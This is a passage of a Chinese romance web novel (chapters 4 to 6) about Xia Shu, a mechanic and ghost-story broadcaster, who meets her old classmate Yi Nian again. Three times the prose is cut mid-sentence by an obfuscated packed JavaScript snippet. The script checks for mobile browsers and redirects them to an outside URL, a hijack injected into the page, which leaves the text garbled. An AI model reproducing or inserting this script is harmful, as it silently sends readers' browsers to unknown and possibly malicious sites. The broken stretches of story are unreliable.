“不合胃口?”易年看着正在出神的夏树问道。 “啊?没有。” 易年拿起桌上的公勺,自然地往夏树碗里舀了一勺百合黑松露: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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正好碰上红灯,易年凝眉看向副驾,略显无奈:“你搞搞清楚,是我不送她们吗?” 当时在会所门口,那个阵仗,不知情的人恐怕以为夏树要动手打人了。 她一直在说夏林伤了易雯溪,易雯溪还要帮她弄到夏林比赛的出入证,已经欠了很多人情,不能再让易年送她了。 在那推推搡搡半天。 她手上的劲儿还真是不小。 想到这里,易年情不自禁地弯了唇。 易雯溪突然从车子中控储物盒上拿起易年的手机,还没等易年反应过来,就对准他的脸面部解锁。 “干嘛?”易年偏头懒散问道。 “传照片啊!下午在医院拍的,我要发个朋友圈。” “……”易雯溪的操作易年习以为常,他无语地抽了下唇角,只能由着她去。 易雯溪闷头p图,几分钟后才如释重负般地说发好了。 她手机放下不超过一分钟,铃声突然响起。 倒吸一口气:“她这动作也太快了吧!” 易雯溪把手机亮在易年眼前,“李若尔”三个字明晃晃地显示在屏幕里。 易年刚想说别接,易雯溪就以迅雷不及掩耳之势划了接听。 易年:“……” “对,没事儿,就小问题而已啦!” “不用特意来看我!” “他啊?” 易雯溪看向易年,易年眼神示意她别提他。 “我也不清楚唉,下午他把我送回家我就不知道他去哪儿了。” “那两个女孩?” 易年暗示的眸色加深。 “额……她两是做好人好事,特地把我送去医院的。” …… 易年松了一口气。 易雯溪是懂他的,知道他不想让李若尔掌握任何他的消息。 挂了电话,易雯溪长呼了一口气,抱怨道:“真是的,我那么实在的一个人,每次都要替你撒谎,累死了。” 易年觉得易雯溪在说废话,抬了抬眉:“你要是不怕被缠着,下次也可以不撒。” “……”易雯溪无言以对。 她也知道,李若尔确实难缠,甚至可以说有点烦人。 易家和李家在生意上有往来,李若尔和易年同岁,从上初中时她就开始缠着易年,易年偏偏又不爱搭理一身公主病的她。 她那大小姐脾气,越是得不到的越想要。 易年身边的所有人,从亲戚到朋友,没有一个没被李若尔骚扰过的,人人对她都避之不及。 “不过话说回来,你这同学,和她妹妹,长得都很好看啊,比李若尔好看。”易雯溪说。 易年回忆着那一张与记忆中相差无几的脸,有些出神。 直到绿灯亮起,后车按喇叭提醒,他才启动车子。 “嗯。” 他的声音很轻。 “不过,你能不能别把任何人都拿去跟李若尔比!”沉默两秒,“能一样?” “啊!”易雯溪突然大叫一声。 “易雯溪!”易年被吓了一跳,“你诈尸啊?” “我想到了!” 易年深吸一口气,散漫地瞥着易雯溪:“有话,麻烦一次说完!” “你看啊,李若尔这么多年一直缠着你,肯定也是因为你一直没谈女朋友,她觉得自己有机会。所以我在想,如果你有女朋友了,她难说就不缠着你了。” 易年面上神色淡淡,未置可否。 “我看夏树就挺合适啊!你们是老同学,就省了磨合的时间,而且今天你两坐一起特别登对,要是你跟她交往,我绝对是支持的。” 此刻的城市上空,暮色四合。 道路两旁已经亮起了街灯,易年眼前却晃过刹那的昏暗。 他想起来在医院里,他见到的那个人。 那个跟夏树穿着情侣装,被她称作“小宝”的男人。 沉默半晌。 易年捏了捏方向盘:“你能不能换辆好点的车,这个难开死了。” 易雯溪瞥他一眼:“今天出门随手拿的车钥匙。” 在易雯溪的所有车里,这辆帕拉梅拉确实是最便宜的。 回想着上一个问题,易雯溪觉察到易年的表情不太寻常,她眉头一紧:“你不对劲!干嘛突然岔开话题?” “平时你见李若尔像见到鬼一样,而且也没见过你跟其他女生来往,我以为你对每个女孩子都一个样呢,但我发现你对你老同学还挺……特别。” 闻言,易年眸色闪动,冷嘲一声。 “特别吗?” 白眼狼根本不领情。 4. 第 4 章 回到汽修厂时已经九点多,罗超罗勇两个徒弟刚吃完晚饭,原本还要再继续给一辆车子做保养,夏树想着他俩已经忙活了一整天,便接下了他们手上的活,让他们直接上楼休息。 夏树的鑫鑫汽修厂开在城郊的省道边上,房子一共两层半,一楼是院子和汽修车间,二楼是四人的卧室和起居室,三楼半层房东阿姨用来堆放杂物,除了晒衣服,他们一般不会上去。 夏树独自一人在车间忙活了近两个小时才上了楼,奔忙一天,身上有些乏力。 她悠悠闲闲地关紧卧室窗子,将落地电风扇开到低档吹了几分钟,才打开了录音设备准备录她的鬼故事。 兴趣使然,夏树从十九岁时就入驻“感同声受”电台app,开设了一个鬼故事电台,六年时间已经累积了十多万粉丝。 粉丝多为男性,随时在评论区嚷嚷着催更,但搜罗鬼故事哪有这么容易,她只好雷打不动地每周更新两次。 “……忽然!一阵穿堂风从张浩面前吹过,室内所有灯光同时熄灭,门啪的一声被关上。阴森的气息逐渐袭来,不知为何,他突然想起上个月从顶楼纵下的那个红衣女人。 他的双腿不自觉发颤,想说话几乎发不了任何声音。在原地呆站几秒,他终于颤颤巍巍问了句,‘是,是,是谁,在恶作剧,你,你给,给我出来!’ 下一秒,他的脖间一凉,肩膀像是被什么东西攀附着,越发沉重。 紧接着,一个女人的声音在他耳畔响起,‘你、在、找、我、吗?’” 就在这时,夏树的手机突然响了起来。 这一瞬间的崩溃直接写在她的脸上! 居然忘了将手机调成静音! 看了一眼来电显示,她将麦克风关闭,双腿盘在椅子上,长舒一口气划了接听。 “大姐,都几点了,你还给我打电话干嘛啊?”语气很无奈,又带着些许埋怨。 闺蜜周雨唯在电话那头习惯性地调侃:“怎么,打扰到你的春宵一刻啦?” “屁啊,我在录音,正录到最紧张的部分,你这一个电话直接把半天的成果都干废了!” “我去!”周雨唯从床上翻坐起来,后背发凉,“现在可是凌晨十二点,你不会瘆得慌啊?” 夏树嘴唇微张,正准备回话,又听周雨唯说:“嗐,我就多余问,鬼见了你都要绕道走。” 夏树做电台的这些年,讲的鬼故事没有上千也有大几百,在周雨唯心里,她这位倒反天罡的闺蜜,阳气比十个撸铁大汉还重,怎么可能会害怕。 “朋友,请说正事。”夏树顺手拍了个即将落在膝盖上的蚊子,“我这还忙着呢。”说完拎着蚊子腿扔进垃圾桶。 周雨唯不情不愿地开口:“李泽和陈艺敏婚礼你去不去?” “他俩要结婚?” “你不知道?这几天群里聊得火热!” 周雨唯说陈艺敏前几天突然在高中班级群扔了个婚礼邀请函的链接,把几百年没人说话的群炸活了。 她没在群里冒泡,也没打算去,直到半个小时前陈艺敏私聊她,请她去参加婚礼。 “她原来不是挺针对你的吗,怎么现在这么大度了?” 周雨唯原来跟李泽有过那么一小段不成熟的感情史,那时候陈艺敏也喜欢李泽,便暗戳戳记恨上了周雨唯,班里大部分人都知道。 “她发信息给我那个语气,阴阳怪气,拿老同学来cpu我,无语死了!还说什么让我别因为跟李泽好过就不好意思去,她不会介意,拜托,到底是谁介意啊,她要不提,我根本就想不起那段老黄历好吗!” 夏树也觉得无语:“她这很明显是故意的啊,你理她干嘛,直接当做没看见不就好了。” “我肯定要去啊!我要是当做没看见,她肯定以为我又嫉妒她了,到时候指不定跟别人怎么蛐蛐我呢!” 夏树“嗯”着点了点头,“行吧,想去就去。” “你也要去,你陪我一起。” 夏树一口回绝:“我不去,我跟原来的同学都没有交集,干嘛去浪费那个份子钱。” 想起今天突然空了一大截的钱包,她叹了口气,“今天一下子花了四千多,肝疼!你现在让我多出一块钱我都舍不得。” 结账时候,夏树才知道那顿饭吃下来要两千多,还有下午转给夏林的两千,夏林原本说还给夏树,可夏树说让她自己留着当零花钱。 “干嘛?又买耗材了?” “没,”夏树百味交集地抿了抿唇,“我今天,碰见易年了……” 她把一整天的经过跟周雨唯讲了一遍,电话那头听得出神,中途说了好几个不同音调的“我去”。 “我去,不愧是他,居然那么大度,没跟你撕逼,还愿意坐下来跟你吃饭。” 夏树很想顺着网线爬过去,当面对周雨唯翻个白眼。 “……至于吗?” “啧啧啧,什么叫‘至于吗’,难怪人家说你白眼狼,当年你因为他赚了不少钱吧,结果你倒好,把他情书拿去卖,最后还狂犬病发作咬了他,你忘了?” 沉默三秒。 “你到底是哪边的?那不是我弄错了吗!” 怕电话那头继续再拿易年来讨伐自己,夏树转了话题,“行了行了,说正事,他们结婚是几号来了,我提前安排好,到时候陪你一起去‘抢风头’。” 听到抢风头,周雨唯的注意力果然被吸引了去,她筹划着到时候在婚礼上惊艳亮相,说得激动了,就让约夏树明天陪她去逛街买衣服。 耐不住亲亲亲闺蜜的软磨硬泡,夏树只好答应下来。 挂了电话,夏树很快投入状态,将剩下的鬼故事录完,点了发送。 洗漱完上了床,她打开班级群,里面居然还有夜猫子在热火朝天地聊着要在老同学的婚礼上聚一聚。 夏树没兴趣爬楼,随便看了几眼,在手机上方的时间跳到了凌晨一点半时,强迫自己锁了屏幕。 但她并没有像往常一样倒头就睡着。 省道上时而往来的货车和卡车声轰轰作响,每经过一辆,车灯都会从窗外漏些进来。 窗户框架的影子被拉的很长,在房间顶上不停挪着位置。 不受控地,与易年重逢后的场景逐帧在夏树眼前回播,再加上周雨唯先前说她因为易年赚了不少钱,她终于记起了下午易雯溪提到的那个名字,李若尔。 当年李若尔跟易年和夏树并不在一个学校,但不知她从哪里弄到了四中的校服,高一开学没多久,就穿着四中校服混进学校来找易年。 可是易年对她极其不耐烦,每次她来,易年都避而不见,但李若尔却锲而不舍,有次直接冲到篮球场上硬要塞给易年一个礼物盒。 午休时间篮球场上人很多,不知谁起了个头,全部人就跟着起哄,高喊着“在一起,在一起……”。 夏树原本在教室里刷题,听见动静也跑到楼道上往篮球场看,她记得当时易年的样子很冷淡,没有接过那个礼物盒,也没有正眼瞧李若尔一眼。 隔得太远,不知 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虽然不懂同桌这个莫名其妙的要求是何意义,但下一秒,夏树配合地伸出右手遮住了他的眼睛。 她的大拇指指根不偏不倚落在易年的山根,掌心感受到他的长睫翕动带来的酥痒。 易年微抿着唇,滚动了一下喉结。 直到手臂有些发酸,夏树才把手掌从易年脸上移开:“可以了吧?” 易年耳廓有些发红,眸子轻轻晃动,脸上还残留着极为少见的无措:“你,这是在干嘛?” “不是你叫我遮你眼睛?” 易年一脸发懵,微微蹙着眉:“嗯?” “你自己刚刚说的啊,‘Covermyeyes’,我不是还问你sure吗,你自己点头的。” “……”易年无奈地瘪了下嘴,“我是说,可、以、卖!” “哈?”夏树瞪圆了双眼,右手的手心在发烫,“抱歉抱歉,英语课后遗症,我以为,你跟我说英语来着。” 易年沉默不语,表情看不出是怪她行为莽撞还是什么意思。 夏树又琢磨了一下他的话。 “不过你说可以卖,卖什么啊?” “照片。” “啊?什么照片?” “你不是说李若尔跟你买我照片吗,你可以卖给她。” 夏树怀疑自己听错了,错愕道:“你是说,我可以像那个女生说的一样,拍你的照片,然后卖给她?” 易年点了点头。 “唉,不是!我昨天在过道上看到你俩了,你当时不是挺……”夏树轻咳两声,“怎么现在又同意她买你照片了?” 易年直接避开了夏树探究的眼神,慢条斯理地从课桌里拿出水拧开瓶盖,轻轻抿喝了一口,才散漫地回答:“她不管是买我照片还是什么,我都不会同意的,但是即便我不同意,你也不答应,她仍然会想方设法让别人拍,如果是那样,还不如你来。” “有点道理,她昨天才哭着走的,结果今天又来了,”夏树捏了捏下巴,“但是为什么说不如我来?”她是真心发问。 易年将刚刚旋紧的矿泉水瓶盖又拧开,一口气喝了半瓶水。 夏树就在旁边静静地等他喝完。 “你就当做,肥水不流外人田,”他的眸色有些闪烁,“我个子高,你就那么小一个,跟你坐同桌我都占到你那边了,给你赚点钱,就当是补偿。” 5. 第 5 章 原来是这个意思,肥水不流外人田。 夏树点着头,长长地“哦”了一声,“算了,我也没手机,这个钱只能让别人赚了。” 易年斩钉截铁:“不行,这个事只能你来做!” “我说了啊,我没手机!” “我有!” 易年随意地将英语课本塞进课桌,又顺手抽出来下一堂课要用的课本,从动作到神态极为漫不经心。 “我把我之前没用了的拿给你。” “你把你的手机拿给我?” 夏树挠着头,要是按照易年说的这样来做,感觉便宜都被她占完了。 “不好吧,手机这种贵重的东西我怎么能拿,坏了或者是丢了我也陪不起啊,你还是等着她找了别人,再说吧。” “不行!” 易年眉头轻锁,语气加重了些,“你要清楚,我并不希望自己的照片到她手上,昨天的事你看见了,她今天就来这么一出,证明我拦不住她,我也没有通天的本事去知道她还会去找谁,找几个人,万一找其他班的呢?” “如果那人是你,你发之前拿给我看,我同意才能发,至少不会什么该发的不该发的都一股脑给了她。” “可是——” 夏树还想再说点什么,就被易年打断:“她给你号码没?” 夏树抓了抓脸,从口袋里掏出一张已经被揉成一团的便利贴:“她说这是她的Q/Q号。” 易年把便利贴拿过去,打开了手机。 “我把我小号给你用,现在我就加上她,以你的口吻说答应了。” “啊?!” 易年没给她反应的时间,自顾自戳着手机屏幕:“啊什么啊,再晚点她去找了别人,到时候你负全责!” …… 就这样,夏树被动地和李若尔达成协议。 第二天,易年果然拿了一个手机来,他说他有很多不用的手机,这个是里面最旧的一个。 从那之后,在校期间,夏树几乎每天都会给李若尔发一张易年的照片,而李若尔每隔一段时间都会来学校找夏树,把钱给她。 夏树从李若尔那里赚得不少,一段时间之后她发觉拿着那些钱心里并不踏实,因为发过去的照片都是易年挑出来的背影或是模糊的侧脸,她总觉得这样是在骗李若尔的钱。 她跟易年提出来要不不卖了,易年却丝毫不以为然。 “她不缺钱,给你的那点钱对她来说不值一提,而且,不是你骗她钱,是她先找的你,顶多算是你们两个之间你情我愿的公平交易。” “还是那句话,如果你不卖给她,万一她找了我不知道的人,你负责!” …… 入夜,夏树不知什么时候迷迷糊糊睡了过去。第二天,生物钟让她起了个大早。 像是在梦里跑了个马拉松,全身疲软无力。 隐约回想起。 昨夜好像做了一个很杂乱的梦,记不清具体的场景,只记得梦里延伸了她睡之前七零八碎的思绪。 几乎都和易年有关。 她在床上伸了个懒腰,揉了揉发酸的脖颈,冷冷吐槽:“不会是梦里跟易年打架了吧!” 还真有这种可能性。 夏树懒得下床,从床头柜摸来手机,打开一楼监控的后台,滑动各个角落看了一眼,见罗超和罗勇也还没出现在车间,便想着再多在床上窝一会儿。 习惯性地,她点开“感同声受”电台APP的DJ助手,翻看她鬼故事电台的留言。 【十八摸:就这?昨晚还没听完就睡着了】 【狗蛋同学:鑫哥,最近故事咋回事儿,越来越没劲了!】 【西北小钢炮:20多分钟,几乎都是尿点,鑫哥给点力啊,不行就开个微博让粉丝给你投稿点奇闻异事算了!】 被点赞顶到上面的几条评论全是熟悉的ID,也难怪他们会吐槽,夏树这段时间捣鼓了一台泡水车,就没时间去搜罗新的鬼故事,昨晚这个故事其实她也觉得还差点意思。 按照惯例,她铆足劲一条一条回怼过去。 【金鑫鑫:?鬼故事还有睡前故事的效果,你就知足吧!】 【金鑫鑫:没劲是吧,这边建议狗蛋同学今晚一个人去坟堆里再听一遍试试】 【金鑫鑫:不是我说,小钢炮,你尿点这么低,该去查查肾功能了】 夏树和粉丝互怼已经成了日常,入驻“感同声受”这几年,靠着这一批嘴硬的死忠粉,她怼人的功力提升了不少。 页面继续下滑,她看见了那个熟悉的ID以及熟悉的留言。 这个叫Earth的听众也是夏树鬼故事电台的老粉,她记得粉丝数还是两位数的时候这个人就来了。 但很奇怪,他的留言,几年如一日,都是“挺害怕的,我喜欢”,像是系统自动回复。 她如往常一样,回了个“嘿嘿,谢谢喜欢”。 - 顺着回了二十几条留言,夏树终于打起点精神。她利索地起床、洗漱,穿上另一套干净的工装下了楼。 在车间待了一上午,她修好了一辆因悬挂系统故障而导致底盘件异响的车,又跟罗勇一起精洗了一辆电车。 说起来,比起修车,夏树更爱洗车。 看着沾满污垢的车子经由自己的双手,变得焕然一新,那个过程治愈又解压。 下午两点多,保钦元开着二手捷达回了汽修厂,他停好车就走到车间跟夏树打招呼:“老大,昨天后来那个小兄弟说什么没?我当着人面说讹钱什么的,他没为难你吧?” 夏树正在检修另一辆车的油箱,闻声停下手上的活:“没。” 她的手上沾着黢黑的油垢,手掌虚架在半空,抬起臂弯就着额头抹了把汗珠。 “那就好,那就好。”说着,保钦元就要走向烤漆房。 “你等等——”夏树叫住了他,“你,为什么,要叫他小兄弟?他看着比我还小吗?” 保钦元不知所措地回头:“啊?看他那个样子,应该是大学生吧。” “……” 夏树比保钦元大了不到两岁,听见保钦元说跟她同龄的易年像大学生,很是无语。 冷哼一声,不屑道,“还大、学、生。” “难道是高中生?不会吧!”保钦元很震惊。 夏树一噎:“狗屁高中生,他跟我一样大!” 保钦元瞠目结舌:“啊?你怎么知道?” 看他那表情,更像是在说:你就吹牛吧! 夏树从一旁抽了条湿毛巾,潦草地擦了擦手,又把毛巾团成一团砸向保钦元:“你这意思,是不相信我说的话,还是不相信他跟我一样大?” “老大我不是这个意思。” 保钦元虽接住了毛巾,但对夏树突如其来的发难搞得有点摸不着头脑。 “他看上去白白嫩嫩的,又穿一身运动装,不就跟旁边大学城那些个男大差不多嘛。” “他白白嫩嫩,所以我很老咯?”夏树不知哪来的无名火,没由头地瞪着他,“听好了,你说的那个白白嫩嫩的小帅哥,是我高中同班同学!” 保钦元脸上的表情先是一滞,随后干笑出声:“那也真的太巧了吧,不过我也没说错嘛,老大你看着不就跟你妹一样大,都是高中生!” “……” 夏树终于明白,这一穷二白的大小伙是如何把家世样貌都不差的女朋友追到手的了,他这三寸不烂之舌必定加了不少分。 她瞪他一眼:“滚去干活!” 保钦元憨憨笑着:“得嘞,我这就滚。” “等一下!” “老大,又有什么吩咐?” “你的衣服,”夏树走到保钦元身侧,用手背敲了敲他的后背,“你这衣服怎么回事,咱家的名字和电话哪去了?” 原本工装上应该印着“鑫鑫汽修厂”和夏树的号码,昨天在医院时她就发现保钦元的衣服上没有印字,那时忘了问保钦元衣服的事。 保钦元有些难为情:“老大,我忘记跟你说了,上次我也是直接干完活就去约会,穿着有字那件跟晓齐走一起感觉她挺没面子的,所以后来我自己买了件没字的。” 夏树轻锁着眉打量他,未置可否。 保钦元又补充:“老大你放心,我只会在又要上工,又要约会的这种情况下穿。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717330|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”夏树觉得无语,“小保啊小保,谈恋爱谈傻了吧,你直接再带一件自己的衣服,下班换上不就行了?” 保钦元:“……” 果然应了那句话,恋爱中的人,智商为零。 估算了跟周雨唯约定见面的时间,夏树跟保钦元交接完手上的活便上楼洗了个澡,准备出门。 原本周雨唯说要来接她,但她想着周雨唯从市区过来,两个人再一起去市区,太麻烦,便只跟周雨唯约好时间,在市中心的金盛购物广场见面。 出发前汽修厂的房东阿姨突然把车子开来洗,夏树只好亲自洗完车才出发,比约定的时间晚了半个多小时,她到金盛时,周雨唯说她已经在二楼挑着衣服。 进了商场,夏树按照周雨唯发来的店铺信息在一楼导视指路牌找到了那家店铺,需要经过化妆品区域,到里面搭电梯上二楼。 穿梭于化妆品区,夏树总觉得自己与这里格格不入。 她平时在车间里从不化妆,包括此刻脸上也未施粉黛,她仅有的那几样化妆品还是周雨唯之前送给她的。 也不全然是没有爱美之心,只是她整天待在车间,用不了半天脸上必定会挂上灰尘或是机油,化妆对她来说就是多此一举。 好在这里大牌彩妆品牌的导购都很高冷,不像十元店一样会在门口拉客,在这里只要你不踏进店,人家不会主动跟你说半个字。 她闷头走着,自己的右前方传来了导购与顾客浅浅的对话。 随着距离拉进,那位顾客的声音越来越清晰。 不止清晰,还很熟悉。 夏树循声望去。 穿过鳞次栉比的货架,她的目光落在一家奢侈彩妆品牌的店铺内。 店铺内的试妆镜正好将墙上的灯光反射出来,轻微晃着她的眼睛。 试妆镜的斜对面,陈列着口红的货架挡住了那人的身体,他只露出来了头发,以及一半的侧脸。 是易年。 她敢肯定。 她不由自主地回忆起保钦元口中的易年——白白嫩嫩。 不会是…… 易年平时都要化妆吧。 夏树确实在网上刷到过很多男生化妆的视频。 但在她记忆中,易年本身就长得白净,应该不至于要化妆。 他出现在那里,也可能是为女朋友买礼物。 或许是昨夜已经梦了一整晚他,甚至可能还在梦里打了架,夏树觉得身体的疲累都是和他有关,所以浅意识里不太想跟他碰面。 于是她避开了那家店,从另一个过道走。 夏树去到二楼服装店时,周雨唯已经试了好几套衣服,但是她一直拿不定主意,便又重新将比较称心的几件一一重新试穿,让夏树来替她选。 夏树无意间看见其中一个吊牌,上面标价五千多,她有些震惊,便跟周雨唯说好像都不合适,要不然再去其他家看看。 出了店铺,她低声跟周雨唯说:“你疯了,为了去参加一个斗气婚礼,买这么贵的裙子,你那点工资怎么够你造!” “我疯了才会动自己的工资,我的工资肯定不够啊,不过我妈给我拨款了!”周雨唯一笑置之,“我就直接跟我妈说要去参加原来情敌的婚礼,还是她先说的让我好好打扮。” 夏树:“……” 周雨唯的父母把她宠上了天,这一点夏树是知道的。 离开那家店,周雨唯说干脆去多看几家,多试试。又逛了一个多小时,她终于选定了一条裙子。 等柜姐包装的间隙,她顺势往休息座一摊:“累死我了,话说回来陈艺敏根本不值得我费这么大功夫,早知道就说不去了!” 夏树也坐了下去,万般无奈地深吸一口气,揶揄道:“真难得啊,你脑子终于转过弯来了!” 周雨唯筋疲力敝,没力气和夏树拌嘴,嘟着嘴瞪了夏树一眼,便掏出手机百无聊赖地刷着。 约莫一分钟后,她倏地坐直身子:“我去,他什么情况!几百年不说话,怎么突然在群里@你了?” 夏树不明所以:“啊?什么群?谁?” 周雨唯把手机亮到夏树眼前:“喏,还能是谁,易年啊!” 6. 第 6 章 “易年@我?” 夏树表情僵住几秒,随后将似信非信的目光投在周雨唯的手机屏幕上。 【易年:@夏树号码没变,你打个电话给我】 “他这是……”夏树眉头轻蹙,指尖微曲着上下划动周雨唯的手机屏幕,“要干嘛?” 易年只发了那一条信息,她的第一反应是,是不是易雯溪那边又出了什么状况,需要找她来负责。 周雨唯顺嘴答:“你问我?我哪知道,他不是让你打电话给他吗,你打过去不就知道了。” 夏树毫不犹豫:“我没他号码。” 高中毕业后夏树换过几次手机,原来同学的号码早就没了。 周雨唯:“那你发信息问他啊。” 夏树整个人都很迷糊,听周雨唯这样一说,才从裤兜里掏出手机。 她打开微信通讯录,将列表拖到了“Y”开头的那一列,向下划动屏幕,并没有找到易年的名字。 以为自己看漏了,她又把屏幕扒拉到上面,重新划了一遍,还是没有。 “怎么会没有呢?” 她自顾自嘟囔着,分明记得自己是有易年微信的。 高中时大家几乎只用Q/Q,后来微信开始普及,身边的同学陆续开始注册微信。 她记得有一天课间,易年突然叫她把手机给他一下。 那个手机原本就是易年的,虽然那时候夏树已经花了五百从易年手上买断,但手机成色很新,她一直觉得把它买到手,是自己占了大便宜。 在易年提出要拿她手机时,她没多想,直接把手机递给了它的前主人。 几分钟后易年将手机还给夏树,夏树发现桌面上多了一个绿色图标。 “这是,微信?”夏树问。 易年漫不经心地挑了下眉。 夏树点开微信,列表里已经躺了一个好友。 易年:“这个是我。” 夏树“哦”了一声,瘪了下嘴,“你怎么突然想起来给我弄个微信啊?” 易年轻咳一声,悠然抱起双臂:“Q/Q号注册的微信,我当然要当第一个微信好友。” 怎么感觉易年答非所问。 夏树问的明明是为什么要突然在她手机上下一个微信。 她继续研究着微信,看了自己的微信昵称:易年同桌。 “喂,我没名字吗,怎么给我起这么个昵称?” “可以改。” “哦。” 夏树视线下移,聚焦到昵称下的小字,“微信号:xiashu2224814”。 “xia夏,shu树!这个微信号,怎么是我名字?也是你设置的?”她问。 “嗯。” “那后面这一排数字,什么意思,也不是我生日啊!” 易年视线有些躲闪,调整了下坐姿,才说:“随便按的。” 她试着点了几个微信功能按钮,轻嘟着唇:“多此一举。” “喂,你搞搞清楚!”易年将食指伸到夏树课桌上敲了几下,语气强势,“本来就是我给你的Q/Q号,我当第一个好友有什么问题?” “我是说,都没什么人用微信,大家有电话号码有Q/Q,弄个微信就是多此一举,最主要的是,还浪费了我的流量!” …… 因为夏树清楚地记得她的第一个微信好友是易年,虽然加上后没用微信跟他聊过天,但在列表里划了两次都没找到易年的微信,她有些意外。 夏树从来没删过自己的微信好友。 思索片刻,她突然想起来,之前好像花三四块钱清理过僵尸粉。 难说是易年先把她删了,然后清僵尸粉的时候,系统就直接清了他。 她正想从班级群里@易年,导购就提着打包好的裙子过来递给了周雨唯。 周雨唯接过购物袋,挽起夏树的手:“走吧走吧,又饿又累,先去一楼买杯咖啡再上楼吃饭。” 夏树还没在群里找到易年的头像就被周雨唯拽了起来,她只好锁了屏幕将手机重新放回裤兜,打算回去后再联系易年。 两人闲聊着到了一楼咖啡厅。 夏树吸了吸鼻子。 咖啡豆的味道很香,但她不爱喝,不太喜欢那股酸涩味道,所以就点了杯冰牛奶。 饮品制作好,两人端着往外走,还未走到门口,一道熟悉的声音突然响起:“喂,白眼狼!” 夏树脚下一顿,朝着声源看过去。 六七米开外,易年坐在挨着落地窗的位置,懒懒地靠着座椅。 咖啡店的桌子不算高,他坐在那里有些局促,其中一条腿膝盖微弯,伸到了小圆桌的侧面。 白色的桌面为他的脸补足了光,加上他那逆天的头身比例,简直像漫画里走出来的男主角。 “易年?太巧了吧,你怎么在这?” 周雨唯也看见了他,激动着朝他打了招呼,说完拽着夏树朝他那边走。 周雨唯自然地拉开一个椅子坐了下来,夏树也只好跟着坐下。 “过来办点事。”易年说话的时候不经意将目光投在夏树脸上。 “好巧啊,咱们毕业以后就没见过了吧,”周雨唯看向夏树,“刚刚我俩还说起你来着,没想到居然在这儿碰上了。” 易年稍抬着眉,眼中带着浅浅疑惑:“说我什么?坏话?” 他说最后两个字的时候又将目光落在了夏树身上,仿佛认定了“坏话”就是夏树说的。 夏树不自觉轻皱起眉。 周雨唯是当年两人不欢而散的旁观者,知晓其中原委,此刻感觉易年不像在开玩笑,像是故意给夏树找不痛快:“那个……你不是在群里@她了,我们说这事来着。” 易年眉头微挑,对着夏树轻声冷笑:“所以,你是看见了信息,有时间在这儿闲逛买咖啡,也没时间回我电话?” 口气像在问责。 “……”夏树觉得他这话是在没事找事。 且不说她有没有回他电话,谁规定了有人找,自己就一定要回应? 她将牛奶随意置于桌面,稍稍抬着下巴,理直气壮地说:“你号码我早没了。” 易年浅悠悠地勾了下唇,泰然自若道:“嗯,忘了,你是白眼狼。” “……”又是这三个字。 他这架势,看着就是打定主意要跟夏树掐到底。 “我说你是有——” 夏树“病”字还没说出来,周雨唯就尖叫了一声,指着易年旁边空椅子上的一个粉色购物袋:“我去,美少女联名款!你居然买到了!” 夏树也跟着周雨唯的视线,朝那个购物袋够着看了一眼:“什么啊?干嘛这么大惊小怪。” 周雨唯的激动溢于言表:“D家跟美少女联名的全套彩妆啊,才推出就被抢爆了,我蹲了好久都没蹲到!” 夏树对这些不敢兴趣,但为了不败了周雨唯的兴致,附和道:“哇,这么牛?” “那当然,少女情怀拉满,谁不喜欢!”周雨唯打量着夏树未施粉黛的脸,“这个色系最适合冷白皮,如果是你化上,肯定绝美!” 夏树微微嘟着嘴:“是吗,我不太懂。” 周雨唯:“嗐,跟你这个化妆白痴说也白搭。” 紧接着她带着羡慕的目光看向易年,“你给女朋友买的吗?她也太幸福了吧!” 易年盯着购物袋失神一瞬,回过神后皱了皱眉:“不是,帮我姐来取的。”他瞥夏树一眼,“我没女朋友。” 周雨唯:“这样啊,抱歉,误会了。” “我觉得……”易年突然将两腿交叠,姿态闲散地靠着椅背,“像我们这个年纪,应该以事业为主,谈恋爱什么的先放放,沉下心来,才能把事业做好。” “……” 夏树和周雨唯觉得莫名其妙,对视一眼。 他这话的意思,是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717331|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有女朋友,事业才做得好? 所以是在,炫耀? 话题被易年突如其来的说教弄得有些不接地气,夏树和周雨唯都不知怎么接话。 沉默几秒。 他将目光落在夏树身上:“如果一个男的在这个年纪不够努力,还整天有时间谈情说爱,那大概率是不会在事业上获得成功的。” 这位少爷左一个事业右一个事业,是想表达他比谁厉害吗? 听得夏树尴尬症犯了。 在她印象中,易年原来虽然也骄傲,却很沉稳,从来不会装腔作势。 “老同学,冒昧问问,”她学着易年的动作交叠双腿,“这些年,有人说过你装吗?我记得你原来不这样啊!” 也不是非要用话去噎他,她只是单纯地好奇。 话音刚落,周雨唯就扯了扯夏树的衣角,意思是提醒她悠着点,别什么有的没的都说。 易年挑眉:“怎么,我才这样说一句,你就破防了?” “???” 这人怎么会有这种脑回路? 什么叫她破防了? 夏树一时语塞,盘算着怎么怼回去,周雨唯的手机突然响起。 “疯了吧!今天可是星期天啊!”周雨唯才见来电显示就皱起了眉,虽然脸上很不情愿,还是后挪了凳子准备起身,“你俩先聊,我去接个领导电话。” 周雨唯的铃声一晃,夏树的思绪被打乱了,几秒前分明想到怎么怼易年,现在却忘了要说什么。 对方垂下了眼,不知在想什么,她也懒得再跟他理论。 酝酿片刻,她冷声问:“对了,你找我干嘛?” 易年抬眼:“还你钱。” 